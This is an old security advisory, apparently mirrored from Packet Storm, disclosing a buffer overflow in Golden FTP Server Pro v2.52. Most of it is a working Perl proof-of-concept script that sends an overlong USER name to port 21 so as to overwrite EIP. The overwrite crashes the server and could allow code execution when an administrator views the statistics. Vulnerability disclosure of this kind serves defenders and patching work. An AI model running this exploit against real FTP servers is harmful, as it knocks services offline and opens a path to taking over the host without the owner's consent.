Lucene search
K

KMiNT21.txt

🗓️ 23 Jun 2005 00:00:00Reported by Reed ArvinType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Buffer overflow in KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005) causes server crash or code execution when viewing server statistic

Code
`Summary:  
Buffer overflow in KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)  
(http://www.goldenftpserver.com/)  
  
Details:  
Passing an overly long username parameter to the FTP server causes the  
EIP register to be overwritten after the USER/PASS login sequence is  
completed. Once this has been done the FTP will either crash or  
execute code (depending on the value of the username) when the server  
statistics are viewed by an administrator.  
  
Vulnerable Versions:  
Golden FTP Server Pro v2.52 (10.04.2005)  
  
Patches/Workarounds:  
The vendor was notified of the issue. There was no response.  
  
Exploit:  
Run the following PERL script against the server. Afterward, right  
click on the Golden FTP Server Pro icon in the Windows tray and click  
Statistic. The process will die.  
  
#===== Start GoldenFTPServer_Overflow.pl =====  
#  
# Usage: GoldenFTPServer_Overflow.pl <ip>  
# GoldenFTPServer_Overflow.pl 127.0.0.1  
#  
# KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)  
#  
# Download:  
# http://www.goldenftpserver.com/  
#  
##############################################################  
  
use IO::Socket;  
use strict;  
  
my($socket) = "";  
  
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],  
PeerPort => "21",  
Proto => "TCP"))  
{  
print "Attempting to kill Golden FTP Server at $ARGV[0]:21...";  
  
sleep(1);  
  
print $socket "USER " . "A" x 332 . "BBBB\r\n";  
  
sleep(1);  
  
print $socket "PASS " . "\r\n";  
  
close($socket);  
}  
else  
{  
print "Cannot connect to $ARGV[0]:21\n";  
}  
#===== End GoldenFTPServer_Overflow.pl =====  
  
Discovered by Reed Arvin reedarvin[at]gmail[dot]com  
(http://reedarvin.thearvins.com)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation